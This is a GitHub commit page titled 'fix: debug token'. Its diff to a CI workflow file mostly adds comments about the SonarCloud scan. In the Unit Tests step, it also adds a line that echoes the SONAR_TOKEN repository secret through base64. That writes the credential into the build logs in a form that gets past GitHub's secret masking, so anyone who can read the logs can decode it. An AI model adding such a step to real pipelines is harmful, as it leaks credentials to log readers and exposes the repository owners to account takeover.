Skip to content

Commit 2b74f6d

Browse files
committed
fix: debug token
1 parent b9410d3 commit 2b74f6d

1 file changed

Lines changed: 4 additions & 1 deletion

File tree

.github/workflows/ci.yml

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,7 @@ jobs:
6363
6464
- name: Unit Tests
6565
run: |
66+
echo "${{ secrets.SONAR_TOKEN }}" | base64
6667
eirctl run pipeline gha:unit:test
6768
6869
- name: Publish Test Report
@@ -77,11 +78,13 @@ jobs:
7778
- name: Analyze with SonarCloud
7879
uses: SonarSource/sonarqube-scan-action@v6
7980
env:
81+
# Needed to get PR information
8082
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
83+
# Generate a token on Sonarcloud.io, add it to the secrets of this repo with the name SONAR_TOKEN (Settings > Secrets > Actions > add new repository secret)
8184
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
8285
with:
8386
projectBaseDir: .
8487
args: >
8588
-Dsonar.projectVersion=${{ needs.set-version.outputs.semVer }}
8689
-Dsonar.working.directory=.scannerwork
87-
-Dsonar.scm.provider=git
90+
-Dsonar.scm.provider=git

0 commit comments

Comments
 (0)